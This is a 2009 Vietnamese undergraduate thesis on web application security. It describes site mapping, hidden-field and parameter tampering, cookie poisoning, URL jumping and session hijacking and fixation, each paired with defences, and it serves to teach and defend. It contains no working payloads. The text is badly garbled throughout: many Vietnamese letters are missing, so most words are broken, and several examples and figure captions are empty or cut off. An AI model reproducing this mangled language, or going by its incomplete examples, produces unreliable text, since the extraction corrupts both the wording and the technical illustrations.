Luận văn Một số vấn đề bảo mật web

Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
TRƯỜNG……………………  
KHOA……………………………….  
LUN VĂN TT NGHIP  
Đề tài:  
MT SVN ĐỀ BO MT WEB  
Dương ThThu Hương – K50CHTTT  
- Trang 1 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
LI CM ƠN  
Sau gn 4 tháng nlc thc hin, lun văn nghiên cu “Các kĩ thut tn công và  
bo mt ng dng Web trên Internet” đã hoàn thành. Ngoài scgng hết mình ca  
bn thân, em đã nhn được skhích lrt nhiu tphía nhà trường, thy cô, gia đình  
và bn bè.  
Em xin gi li cm ơn ti các thy cô trong khoa Công nghThông tin trường  
Đại hc Công Ngh, Đại hc Quc Gia Hà Ni, đặc bit là các thy cô Bmôn Các  
HThng Thông Tin đã giúp đỡ em trưởng thành trong nhng năm hc tp và rèn  
luyn môi trường đại hc.  
Em xin chân thành cm ơn thy Lê Hng Hi đã to điu kin cho em tìm hiu,  
nghiên cu và hc hi nhng kinh nghim trong quá trình làm khoá lun.  
Xin cám ơn tt cbn bè đã và đang động viên, giúp đỡ tôi trong quá trình hc  
tp và hoàn thành tt khóa lun tt nghip này.  
Hà Ni, tháng 5 năm 2009  
Dương ThThu Hương – K50CHTTT  
- Trang 2 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
TÓM TT NI DUNG  
Trong khóa lun này, tác gistrình bày về ứng dng web, các vn đề vbo  
mt trong ng dng web, khóa lun tp trung vào mt skthut tn công vào ng  
dng web, tác hi và cách phòng chng.  
Phn mở đầu ca khoá lun là tng quan ng dng web, cách hot động ca ng  
dng web và gii thiu vbo mt ng dng web. Đây là cơ sở để tìm hiu các vn đề  
bo mt trên ng dng web.  
Phn thhai ca khoá lun dành để trình bày các dng lhng ca ng dng  
web và các kthut tn công da trên nhng lhng đó.  
Phn thba ca khoá lun dành để trình bày vvài tn công ng dng web da  
trên lý thuyết đã trình bày các phn trước.  
Phn thtư có nhim vtrình by các kết quả đạt được ca lun văn, nhng hn  
chế và phát trin trong tương lai.  
Dương ThThu Hương – K50CHTTT  
- Trang 3 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
MC LC  
LI CM ƠN ..............................................................................................................1  
TÓM TT NI DUNG..................................................................................................3  
BNG CÁC THUT NGVIT TT..........................................................................5  
BNG CÁC THUT NG...........................................................................................6  
DANH MC CÁC HÌNH VBNG BIU....................................................................7  
MỞ ĐẦU .....................................................................................................................8  
CHƯƠNG 1.  
GII THIU VBO MT NG DNG WEB..............................10  
1.1.  
Gii thiu về ứng dng web.................................................................................................................10  
Khái nim ng dng web.......................................................................................................................10  
Mô thot động ca mt ng dng web................................................................................................10  
Bo mt ng dng web........................................................................................................................12  
Gii thiu vbo mt ng dng web .....................................................................................................12  
Các vn đề chính ca bo mt ng dng web........................................................................................13  
1.1.1.  
1.1.2.  
1.2.  
1.2.1.  
1.2.2.  
CHƯƠNG 2.  
CHNG  
MT STN CÔNG NG DNG WEB VÀ CÁCH PHÒNG  
14  
2.1.  
Các kthut tn công cơ bn..............................................................................................................14  
Lp bn đồ trang ....................................................................................................................................14  
Đoán tp tin và thư mc.........................................................................................................................15  
Khai thác khi biết nhng lung bo mt ................................................................................................15  
Vượt qua hn chế trên các la chn đầu vào..........................................................................................15  
Tn công da vào trng thái trang.....................................................................................................16  
Gii thiu ...............................................................................................................................................16  
Tn công vào trường n .........................................................................................................................16  
2.1.1.  
2.1.2.  
2.1.3.  
2.1.4.  
2.2.  
2.2.1.  
2.2.2.  
2.2.2.1. Kthut tn công vào trường n............................................................................................................16  
2.2.2.2. Cách phòng chng..................................................................................................................................17  
2.2.3.  
Tn công da vào tham sCGI..............................................................................................................17  
2.2.3.1. Kthut tn công vào tham sCGI.......................................................................................................18  
2.2.3.2. Cách phòng chng..................................................................................................................................18  
2.2.4.  
Nhiêm độc cookie ..................................................................................................................................18  
2.2.4.1. Kthut tn công nhim độc cookie......................................................................................................18  
2.2.4.2. Cách phòng chng..................................................................................................................................19  
2.2.5.  
Tn công bng nhy URL......................................................................................................................19  
2.2.5.1. Kthut tn công nhy URL .................................................................................................................19  
2.2.5.2. Cách phòng chng..................................................................................................................................19  
Dương ThThu Hương – K50CHTTT  
- Trang 4 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
2.2.6.  
Chiếm hu phiên làm vic (Session hijacking)......................................................................................19  
2.2.6.1. Kthut tn công chiếm hu phiên làm vic.........................................................................................20  
2.2.6.2. Các cách phòng chng tn công chiếm hu phiên làm vic...................................................................22  
2.3.  
Tn công chèn mã lnh thc thi trên trình duyt nn nhân (cross-site scripting) – XSS ..............22  
Gii thiu vcross-site scripting............................................................................................................22  
Kthut tn công XSS...........................................................................................................................23  
Mã kch bn tn công XSS.....................................................................................................................24  
2.3.1.  
2.3.2.  
2.3.3.  
2.3.3.1. Ăn cp mã phiên làm vic ca người dùng để thc hin chiếm hu phiên làm vic, ............................24  
ví dmã sau:..........................................................................................................................................................24  
2.3.3.2. To ththut để khiến người dùng làm vic không biết đến .................................................................24  
2.3.3.3. Các cách chèn mã có th........................................................................................................................24  
2.3.4.  
2.3.5.  
2.4.  
Các cách phòng chng ...........................................................................................................................26  
Mt strang vn còn lhng ca Vit Nam: ........................................................................................27  
Tn công bng kthut chèn mã SQL (SQL Injection)...................................................................27  
Gii thiu vSQL Injection...................................................................................................................27  
Các dng tn công SQL Injection ..........................................................................................................29  
2.4.1.  
2.4.2.  
2.4.2.1. Dng tn công vượt qua trang đăng nhp...............................................................................................29  
2.4.2.2. Tn công da vào câu lnh SELECT.....................................................................................................30  
2.4.2.3. Tn công da vào câu lnh kết hp UNION..........................................................................................30  
2.4.2.4. Tn công da vào câu lnh INSERT......................................................................................................33  
2.4.2.5. Tn công da vào STORED PROCEDURE..........................................................................................33  
2.4.3.  
Cách phòng chng..................................................................................................................................33  
CHƯƠNG 3.  
TN CÔNG THC NGHIM..........................................................35  
3.1.  
URL Jumping.......................................................................................................................................35  
Li XSS .................................................................................................................................................36  
SQL Injection .......................................................................................................................................37  
Trang thnht........................................................................................................................................37  
Trang thhai..........................................................................................................................................39  
Trang thba...........................................................................................................................................40  
3.2.  
3.3.  
3.3.1.  
3.3.2.  
3.3.3.  
CHƯƠNG 4. KT LUN..........................................................................................42  
4.1.  
4.2.  
Kết quả đạt được..................................................................................................................................42  
Định hướng phát trin.........................................................................................................................42  
LI KT....................................................................................................................43  
TÀI LIU THAM KHO.............................................................................................44  
Dương ThThu Hương – K50CHTTT  
- Trang 5 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
BNG CÁC THUT NGVIT TT  
Dương ThThu Hương – K50CHTTT  
- Trang 5 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
BNG CÁC THUT NGỮ  
Dương ThThu Hương – K50CHTTT  
- Trang 6 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
DANH MC CÁC HÌNH VBNG BIU  
Hình 1-1 mô thot động ca ng dng web  
Hình 2-1 Sơ đồ trang ca trang web qbssoftware  
Hình 2-2 Dng cookie ca Internet Explorer. ...............................................................18  
Hình 2-3 Thtcác trang trong ng dng thanh toán trc tuyến.................................19  
Hình 2-4 SessionID được lưu trong tham sCGI.........................................................20  
Hình 2-5 Ăn cp SessionID bng cách giám sát đường truyn (ngun:  
http://www.owasp.org/index.php/Session_hijacking_attack )......................................20  
Hình 2-6 Tn công n định phiên làm vic. ..................................................................21  
Hình 2-7 các bước tn công n định phiên làm vic. ....................................................22  
Hình 2-8 Hacker thc hin mt cuc tn công thành công vào ng dng web (ngun:  
Hình 3-1 trang đăng nhp ca admin ca trang  
Hình 3-2 Trang qun lý ca admin ca trang  
Hình 3-3 Chèn mã kch bn vào trang web...................................................................36  
Hình 3-4 Trang bdính li XSS. ...................................................................................37  
Hình 3-5 trang đăng nhp ca admin ca trang  
Hình 3-6 Hình nh sau khi đã đăng nhp  
Hình 3-7 Trang đăng nhp ca admin ca trang  
Hình 3-8 Hình nh sau khi đăng nhp ca trang :  
Hình 3-9 Trang đăng nhp ca admin trang  
Hình 3-10: Hình nh sau khi đăng nhp ca trang  
Dương ThThu Hương – K50CHTTT  
- Trang 7 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
MỞ ĐẦU  
Ngày nay, Internet và các ng dng trên Internet được phát trin rng rãi. Các cá  
nhân, tchc, doanh nghip … đều có nhu cu sdng Internet vi mc đích riêng.  
Các dch vtrc tuyến ngày càng được phát trin như mua hàng trc tuyến, giao dch  
ngân hàng trc tuyến, hc trc tuyến…Theo đó các dch vtrc tuyến càng được phát  
trin, mrng thì càng có nhiu lhng bo mt và trthành đối tượng btn công  
vi các mc đích khác nhau.  
Cùng vi sphát trin ca Internet và các dch vtrên Internet, slượng các vụ  
tn công trên Internet cũng tăng vi tc độ chóng mt. Theo tp đoàn Symantec số  
lượng các vtn công bng mã độc trên Internet năm 2003 là 18.827 v, năm 2004 là  
69.107 v, năm 2007 là 624.267 vđến năm 2008 là 1.656.227 v. Riêng trong  
năm 2008 ghi nhn 5.147 chng loi mã độc chuyên chiếm quyn kim soát máy chủ  
whitepaper_internet_security_threat_report_xiv_04-2009.en-us.pdf)  
Không chslượng các cuc tn công tăng lên nhanh chóng mà các phương pháp  
tn công cũng ngày càng tinh vi và có tchc. Nhng cuc tn công thi kỳ đầu chủ  
yếu là đoán tên người sdng/mt khu (Username/password) hoc sdng mt số  
li ca các chương trình và hệ điu hành (security hole) làm vô hiu hóa hthng bo  
v, tuy nhiên các cuc tn công gn đây còn bao gm ccác thao tác như gimo địa  
chIP, theo dõi thông tin truyn qua mng, chiếm các phiên làm vic txa (telnet hoc  
rlogin), cài đặt trojan hay worm để chiếm quyn kim soát máy tính, ăn cp, li dng  
các thông tin ca người dùng vngân hàng, giao dch chng khoán để ăn cp tin ca  
h…Vì thế nhu cu bo vthông tin trên Internet là cn thiết nhm bo vdliu, bo  
vthông tin người dùng và bo vhthng  
Đã có nhng công ctự động tìm lhng để giúp đỡ nhng nhà phát trin ng  
dng web. Tuy nhiên do nhiu nguyên nhân vn có nhng lhng tn ti làm cơ sở để  
tn công, có thlà do các nhà phát trin ng dng không tuân thcác yêu cu vbo  
mt trong quá trình xây dng ng dng, có thdo cuc tn công là hoàn toàn mi và  
tinh vi đối vi nhng nhà phát trin và nhà qun trhthng.  
Dương ThThu Hương – K50CHTTT  
- Trang 8 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Lun văn được thc hin vi mc đích tìm hiu, phân tích các lhng bo mt từ  
đơn gin đến phc tp trong các ng dng web và các phương án phòng chng các  
cuc tn công.  
Ni dung khóa lun sbao gm các phn sau (bn chương):  
Chương 1: Tìm hiu chung về ứng dng web, khái nim và hot động ca  
ng dng web trên Internet. Đồng thi cũng đề cp khái quát vbo mt  
ng dng web.  
Chương 2: Trình by vcác kthut tn công vào ng dng web và cách  
phòng chng  
o Các kthut tn công cơ bn  
o Các kthut tn công da vào trng thái ca trang web  
o Kthut tn công chèn mã lnh thc thi trên trình duyt nn nhân  
(XSS).  
o Kthut tn công chèn câu truy vn SQL (SQL injection) và cách  
phòng chng.  
Chương 3: Mt vài ví dtn công ng dng web bng các kthut trình  
by các chương trước.  
Chương 4: Trình by kết quả đạt được ca lun văn và hướng phát trin  
trong tương lai.  
Dương ThThu Hương – K50CHTTT  
- Trang 9 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Chương 1. GII THIU VBO MT NG DNG  
WEB  
1.1. Gii thiu về ứng dng web  
1.1.1. Khái nim ng dng web  
ng dng web là mt ng dng khách/chtruy cp qua mng Internet hay  
intranet sdng giao thc HTTP/s để tương tác vi người dùng hay hthng khác.  
Trình khách dành cho người sdng là mt phn mm phbiến và chung cho  
các ng dng web chính là trình duyt web như Internet Explorer, Nescape Navigator.  
ng dng web rt phbiến bi scp nht và duy trì mà không cn phn mm phân  
phi, cài đặt ti hàng nghìn máy tính ca người sdng. Các ng dng web phbiến  
hin nay là: webmail, bán hàng trc tuyến, giao dich, đấu giá trc tuyến, wiki, din  
đàn tho lun và nhiu chc năng khác.  
Trước đây ng dng web được xây dng trên mô hình tp trung, mt trình chủ  
chy trên mt máy chvà kết ni vào cơ sdliu ngay trên máy ch. Hin nay các  
ng dng web được xây dng theo mô hình phân tán, nhiu máy chủ đáp ng yêu cu  
và kết ni ti nhiu ngun cơ sdliu ti. Trình chủ được viết bng các ngôn ngữ  
như: PHP, ASP, ASP.NET, JSP…  
1.1.2. Mô thot động ca mt ng dng web  
Hot động ca ng dng web được biu din như hình sau:  
Hình 1-1 mô thot động ca ng dng web  
Dương ThThu Hương – K50CHTTT  
- Trang 10 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Mt ng dng web bao gm hai phía: Client và Server  
Phía Client: là trình duyt web  
Phía Server: bao gm hai lp trong kiến trúc ng dng web, lp logic (Web  
Server, Web Application Server) và lp dliu (Database Server).  
Bên cnh đó tường la được sdng để chng li struy cp trái phép, bo vệ  
các ngun thông tin mi bcũng như hn chế sxâm nhp vào hthng ca mt số  
thông tin khác không mong mun.  
Chc năng chính ca Firewall là:  
Cho phép hoc cm nhng dch vtruy xut ra ngoài  
Cho phép hoc cm nhng dch vtbên ngoài truy nhp vào trong  
Kim soát địa chtruy nhp, cm địa chtruy nhp.  
Đầu tiên trình duyt sgi mt yêu cu (request) đến Web Server thông qua các  
lnh cơ bn GET, POST… ca giao thc HTTP/s, Web Server lúc này có thcho thc  
thi mt chương trình được xây dng tnhiu ngôn ngnhư Perl, C/C++… hoc Web  
Server yêu cu bdin dch thc thi các trang ASP, JSP… theo yêu cu ca trình  
duyt.  
Tùy theo các tác vca chương trình được cài đặt mà nó xlý, tính toán, kết ni  
đến cơ sdliu, lưu các thông tin do trình duyt gi đến…và từ đó trvcho trình  
duyt mt lung dliu có định dng theo giao thc HTTP, nó gm 2 phn:  
Header mô tcác thông tin vgói dliu và các thuc tính, trng thái trao đổi  
gia trình duyt và WebServer.  
Body là phn ni dung dliu mà Server gi vClient, nó có thlà mt file  
HTML, mt hình nh, mt đon phim hay mt văn bn bt kì.  
Theo mô hình hình 11, vi firewall, lung thông tin gia trình duyt và Web  
Server là lung thông tin hp l. Vì thế, nếu hacker tìm thy vài lhng trong ng  
dng Web thì firewall không còn hu dng trong vic ngăn chn hacker này. Do đó,  
các kĩ thut tn công vào mt hthng mng ngày nay đang dn tp trung vào nhng  
sơ sut (hay lhng) trong quá trình to ng dng ca nhng nhà phát trin Web hơn  
là tn công trc tiếp vào hthng mng, hệ điu hành. Tuy nhiên, hacker cũng có thể  
li dng các lhng Web để mrng stn công ca mình vào các hthng không  
Dương ThThu Hương – K50CHTTT  
- Trang 11 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
liên quan khác.  
1.2. Bo mt ng dng web  
1.2.1. Gii thiu vbo mt ng dng web  
Bo mt ng dng web cũng tương tnhư bo mt các ng dng chung khác.  
Skhác nhau ln gia ng dng client-server cũ ng dng web  
Hthng client-server trước đây chhot động trên mng riêng, tin cy.  
ng dng web bây giờ được thiết kể để hot động trên Internet – mt môi trường  
không tin cy.  
Mt vài đặc đim khác khiến ng dng web trnên đặc bit:  
o Nhiu tchc vn không thc hin nhng dán to ng dng web như các  
dán phát trin  
o Máy chủ ứng dng web chyếu chy trên mt mng Lan mrng hay mt  
khu không có skim soát đằng sau tường la ca tchc làm cho chúng  
trthành mc tiêu quan trng.  
o Rt ddàng cho các attacker n gia khi lượng truy cp ln được to ra bi  
trang web.  
o Dán ng dng web có vòng đời phát trin ngn và luôn có lý do làm cho  
chúng phát trin nhanh hơn.  
o Tính cht không lưu trng thái ca HTTP có nghĩa là tình trng phiên làm  
vic ca người dùng phi được gili ở đâu đó, có thnơi đó sbsự điu  
khin ca ktn công.  
o Thông tin truyn trên mng Internet không được mã hóa.  
ng dng web là mt trong các trường hp ca ng dng client-server trong đó vn đề  
bo mt làm gim scân bng ca nhng mc tiêu khác.  
Tính tin cy ca ng dng web đối lp vi bo mt vì rt khó để kim thhoàn  
toàn li khi xlý mã.  
Hiu sut cũng đi ngược vi mc đích bo mt vì các phương pháp truyn thng  
để tăng hiu sut trong ng dng client-server (chyếu là đẩy các chc năng về  
phía client) sto ra nhng lhng mi.  
Tin ích đối lp vi bo mt vì càng cung cp nhiu thông tin cho người dùng  
cũng là cung cp manh mi cho nhng ktn công vcách làm vic, qun lý truy  
cp. Các yêu cu vxác thc thường làm cho hthng kém tin dng hơn khi sử  
dng.  
Dương ThThu Hương – K50CHTTT  
- Trang 12 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Khnăng kim thcũng đối lp vi bo mt vì sdng các công cụ để kim thử  
smra các cách truy cp vào hthng.  
1.2.2. Các vn đề chính ca bo mt ng dng web  
Mt ng dng web thông thường bao gm mt trình ch, mt trình khách, và mt  
mng lưới.  
Đối vi các trình khách, các vn đề an ninh chính là:  
o Đối phương có thgimo vi bt kdliu nào được lưu trtrên trang  
Web ca client. Điu này có nghĩa là tt ccác dliu đến tclient phi  
được kim tra shp lkhi nó được nhn tserver.  
o Mã ngun ca phía client phi được n vi đối phương vì bt kcái gì  
bt ngun tclient có thbị đọc và gimo cùng vi nó.  
o Các thông báo li phía server phi bị ẩn vi đối phương vì nó có thể  
được dùng để tìm hiu vcu trúc và cu hình ca máy ch.  
Đối vi mng, các vn đề chính là:  
o Mi dliu đến server bng HTTP đều có thbxem và bgimo bi  
bên thba.  
o SSL cung cp khnăng mt mã, nhưng điu này chngăn cn xem hoc  
gimo vi dliu gia các ngun gc ca nơi chuyn dliu và máy  
ch. SSL không thngăn cn sgimo khi dliu ti ngun gc ca  
nó.  
Trong chương này, tác giả đã trình by về ứng dng web và khái quát vbo mt  
ng dng web. Trong chương tiếp theo, tác gistrình by mt skthut tn công  
vào ng dng web và cách phòng chng.  
Dương ThThu Hương – K50CHTTT  
- Trang 13 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Chương 2. MT STN CÔNG NG DNG WEB VÀ  
CÁCH PHÒNG CHNG  
2.1. Các kthut tn công cơ bn  
2.1.1. Lp bn đồ trang  
Nhng ktn công có thlàm mt svic sau:  
Sdng mt chương trình thu thp đi theo các liên kết trong ng dng và chra  
lung di chuyn theo các trang ca ng dng và cơ chế xác thc.  
Đọc ghi chú trong các tài liu gi đến trình duyt để được sgi ý vlogic  
trong kinh doanh hay các thut toán.  
Tìm tên người dùng, mt khu, và tên cơ sdliu trong các các tài liu gi  
cho khách hàng.  
Tìm các truy vn SQL để có manh mi vcu trúc cơ sdliu và cách truy  
vn được xây dng tdliu động.  
Xác định vtrí trường n trong form.  
Tìm ra giá trca các tham schuyn gia các trang web.  
To ra các trường hp li khác nhau để xem máy chtrli. Mt ví dlà, nếu  
kim tra máy chkhác nhau đưa ra mt thông báo li cho mt không đúng tên  
người dùng so vi sai mt khu.  
Hình 2-1 Sơ đồ trang ca trang web qbssoftware  
Dương ThThu Hương – K50CHTTT  
- Trang 14 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Mt số đề phòng lp bn đồ trang  
Tránh đưa ra các thông tin vcác truy vn SQL.  
Không gn kèm các ghi chú trong mã gi đến khách hàng.  
Không đặt tên người dùng, mt khu, cơ sdliu vào chui kết ni, trong mã  
và thông báo li.  
2.1.2. Đoán tp tin và thư mc  
Mt kthut đơn gin khác là đoán tp tin và thư mc. Nhng ktn công sẽ  
đoán nhng tp và thư mc cha thông tin quan trng và cgng truy cp vào đó để  
ly thông tin.  
Tp tin như config.inc, web.xml, và server.xml có thcha thông tin kết ni  
cơ sdliu.  
Tp tin. Htpasswd có thcha thông tin tên người dùng và mt khu ca h.  
Thư mc như template/ có thcha các tp tin vi thông tin vcác ng dng.  
Các cách gim thiu:  
Sdng danh sách kim soát truy cp để chn nhng ngui dùng truy cp vào  
các thư mc và tp hthng không được phép.  
Bo vbt ktp tin không liên quan đến người dùng, bng cách đặt chúng  
trong thư mc bên ngoài hthng file hoc trong nhng nơi được bo vệ đặc  
bit như WEB-INF/.  
2.1.3. Khai thác khi biết nhng lung bo mt  
Cách khai thác  
Tt ccác phn mm bao gm chệ điu hành, ng dng máy ch, và các công  
chtrợ đều có li.  
Khi li đã được tìm thy, cách bn sa li thường được cung cp để sa cha  
chúng.  
Thi gian mà các qun trviên hthng áp dng bn sa li bo mt vào hệ  
thng ca mình thì nhng ktn có thkhai thác nhng lhng đã được phát  
hin trong thi gian gia bn li và bn được sa ca người qun trị  
Để gim thiu ri ro, xác định các thành phn ca bên thba trong hthng ca  
bn, kim tra nó và ưu tiên cho vic sa li bo mt  
2.1.4. Vượt qua hn chế trên các la chn đầu vào  
Mt lp tn công khác là vượt qua hn chế trên la chn đầu vào  
Dương ThThu Hương – K50CHTTT  
- Trang 15 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Thông tin người dùng nhp vào thường bhn chế theo nhng phm vi để dễ  
kim soát.  
Để ci thin kinh nghim người sdng, mã ca phía client sthc hin vic  
xác nhn dliu ca người dùng.  
Các ng dng được viết mt cách đơn gin tin tưởng các giá trị được gi lên sẽ  
nm trong phm vi mong đợi.  
Bi vượt qua được giao din người dùng, nhng ktn công có thgán các giá  
trtùy ý cho biến đầu vào ca người dùng.  
Để gim thiu ri ro, xác nhn tính hp ltt ccác dliu đến tclient.  
2.2. Tn công da vào trng thái trang  
2.2.1. Gii thiu  
Giao thc HTTP không lưu trng thái ca các trang web hay người dùng khi  
tương tác vi ng dng. Do yêu cu ca ng dng web như đăng nhp vào hthng để  
sdng nhng tin ích hay đơn gin chđánh du nhng nơi đã đi qua nên các ng  
dng web slưu li trng thái các phiên làm vic bng cách thiết lp giá trnào đó  
được lưu li máy tính ca người dùng hay trong mã gi đến người dùng thông qua  
trình duyt.  
Trng thái ca phiên làm vic sẽ được lưu theo ba cách sau:  
Trường n trong form  
Tham sCGI (ctrong phương thc GET và POST)  
Cookies  
2.2.2. Tn công vào trường n  
2.2.2.1. Kthut tn công vào trường n  
Ta có mt form gm ctrường n như sau:  
Nếu không có thay đổi gì sgi đến máy chni dung là:  
Dương ThThu Hương – K50CHTTT  
- Trang 16 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Nếu hacker thay đổi giá trca biến “giaca”  
Thì yêu cu sthay đổi thành:  
Và giá trgi lên server đã là giá trbthay đổi.  
2.2.2.2. Cách phòng chng  
Đặt cho trường n mt cái tên khó hiu.  
Sdng các giá trị được băm hay mã hóa.  
Nếu có ththì không sdng trường n.  
Kim tra giá trca chúng khi đến server.  
2.2.3. Tn công da vào tham sCGI  
Tham sCGI có thnhìn thy cui ca URL trong yêu cu GET đằng sau du  
?, mi tham slà mt cp gm tên-giá trphân cách nhau bng du “=”, các tham  
số được phân cách nhau bi du “&”. Nếu trong phương thc POST, ta có thtìm  
thy phn chính ca yêu cu.  
Ví d:  
http://www.google.com.vn/search?hl=vi&q=URL&btnG=T%C3%ACm+v%E1%BB  
%9Bi+Google&meta=&aq=f&oq=  
Ở đây có các tham số  
Tham số  
Giá trị  
Hl  
vi  
Q
URL  
btnG  
meta  
Aq  
T%C3%ACm+v%E1%BB%9Bi+Google  
f
Oq  
Dương ThThu Hương – K50CHTTT  
- Trang 17 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
2.2.3.1. Kthut tn công vào tham sCGI  
Ta có thtìm tham sbng hin thmã hoc nhìn trên URL  
Chnh sa URL mt cách thcông bng cách thay đổi giá trca tham shoc  
thêm vào các tham skhác.  
Ví d: nếu ng dng web cho phép người dùng thay đổi mt khu và trang thay  
đổi có URL truyn đi như sau:  
Trong URL trên có hai tham s:  
Tham suser là tên tài khon cn thay đổi mt khu, có giá trmike  
Tham snewpasswd là mt khu mi cho user có giá trguessWho  
Trong ví dnày ta thay đổi tham snewpaswd có giá trguessWho thành  
bigDummy.  
2.2.3.2. Cách phòng chng  
Xlý tham snhư xlý phn người dùng nhp vào.  
Kim tra giá trca chúng khi gi lên server.  
2.2.4. Nhiêm độc cookie  
Cookie là dliu dùng chung ca server và client, do server to ra và lưu máy  
tính ca client (có thlâu dài hoc không lâu dài).  
Cookie được lưu dng file text và cha nhng thông tin vngười dùng, phiên  
làm vic hin ti hay đã kết thúc…Cookie ca mi ng dng web là khác nhau tùy vào  
người thiết kế ứng dng, khác nhau theo ctrình duyt web ca người dùng.  
Cookie có thể được thay đổi ddàng trong file text.  
Hình 2-2 Dng cookie ca Internet Explorer.  
2.2.4.1. Kthut tn công nhim độc cookie  
Hacker sthay đổi nhng giá trcác trường trong cookie như là:  
Thay đổi thi hn ca cookie  
Dương ThThu Hương – K50CHTTT  
- Trang 18 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Thay đổi các dliu xác thc  
Thay đổi thông tin gihàng  
2.2.4.2. Cách phòng chng  
Ta sdùng mt scách sau để chng li tn công nhim độc cookies  
Không sdng cookie để lưu nhng dliu xác thc  
Mã hóa các dliu quan trng  
Xlý cookie như mt trường dliu do người dùng nhp vào  
Mã hóa tt cthông tin ca cookie.  
2.2.5. Tn công bng nhy URL  
2.2.5.1. Kthut tn công nhy URL  
Người dùng gõ vào mt URL và nhy ti trang đó, không tuân theo thtcác  
trang thông thường ca ng dng.  
Ví d:  
Người dùng có thtruy cp mà không cn đăng nhp  
Người dùng có thmua hàng mà không cn trtin.  
Hình 2-3 Thtcác trang trong ng dng thanh toán trc tuyến  
2.2.5.2. Cách phòng chng  
Hn chế truy cp vào tt ccác URL không dành cho người sdng như nhng  
trang dành cho admin  
Khóa struy cp vào nhng nơi không phi là trang web  
Sdng thêm cookie, trường n để chn truy cp vào các trang không đúng  
trình tự  
2.2.6. Chiếm hu phiên làm vic (Session hijacking)  
ng dng web lưu trng thái mi phiên làm vic ca người dùng bng mã phiên  
làm vic (session ID). Server scung cp mi session ID khác nhau cho mi người  
dùng khác nhau để chng thc phiên làm vic đó.  
Để duy trì phiên làm vic, SessionID thường được lưu vào:  
Tham sCGI  
Trường n trong form  
Dương ThThu Hương – K50CHTTT  
- Trang 19 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Các cookie  
Thông thường, sau khi người dùng được chng thc da trên nhng thông tin cá  
nhân như tên/mt khu, session ID được xem như mt mt khu tĩnh tm thi cho  
nhng ln yêu cu tiếp theo. Điu này đã khiến cho Session ID là mc tiêu ln cho  
nhng hacker. Trong nhiu trường hp, hacker giành được session ID hp lca  
người dùng để từ đó đột nhp vào phiên làm vic ca h.  
Hình 2-4 SessionID được lưu trong tham sCGI  
2.2.6.1. Kthut tn công chiếm hu phiên làm vic  
Nhng ktn công có ththc hin nhng cách sau:  
Đoán mã ca mt phiên làm vic hp lệ  
Ăn cp mt mã phiên qua các mng lưới giám sát.  
Hình 2-5 Ăn cp SessionID bng cách giám sát đường truyn (ngun:  
Dương ThThu Hương – K50CHTTT  
- Trang 20 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Ăn cp mt mã phiên thông qua XSS. Hacker ssdng đon mã  
trên trình duyt ca nn nhân và gi kết quvmáy ca mình.  
n định phiên làm vic. (Session fixation)  
Trong tn công n định phiên làm vic, ktn công n định sn SessionID cho  
nn nhân trước khi họ đăng nhp vào hthng. Sau đó ktn công ssdng  
SessionID này để tiếp tc phiên làm vic ca nn nhân.  
Hình 2-6 Tn công n định phiên làm vic.  
Tn công n định phiên làm vic gm ba bước:  
Bước 1: To ra phiên làm vic:  
Đầu tiên ktn công to ra mt phiên làm vic “by” theo hướng ca hthng.  
Có hai hướng có th:  
Hướng tdo: chp nhn bt kmt session ID nào, nếu chưa tn ti  
session thì to mi mt session ID.  
Hướng gii hn: chchp nhn mt session ID đã đăng ký trước đó.  
Vi hthng hướng tdo thì hacker chcn thiết lp mt session ID bt k, nhớ  
và sau đó sdng li session ID này. hướng gii hn, hacker phi đăng ký mt  
session ID vi ng dng.  
Bước 2: n định phiên làm vic:  
Tiếp theo ktn công phi gii thiu session ID này ti trình duyt ca người  
dùng, có thlà gi thư đin t. Như vy là n định phiên làm vic ca người đó.  
Dương ThThu Hương – K50CHTTT  
- Trang 21 -  
Đại hc Công Ngh- ĐHQGHN  
Lun văn tt nghip  
Mt svn đề bo mt ng dng web  
Bước 3: đột nhp vào phiên làm vic ca h.  
Cui cùng, ktn công đợi đến lúc người dùng đăng nhp vào server đích sử  
dng session ID đã được n định trước đó và đột nhp vào phiên làm vic ca người  
dùng đó.  
Hình 2-7 các bước tn công n định phiên làm vic.  
2.2.6.2. Các cách phòng chng tn công chiếm hu phiên làm vic  
Bo vcookie cha session ID bng cách thiết lp bit an toàn SSL.  
To ra session ID mi cho mi yêu cu.  
Sdng thi gian hết hn ca cookie ngn nht có thể  
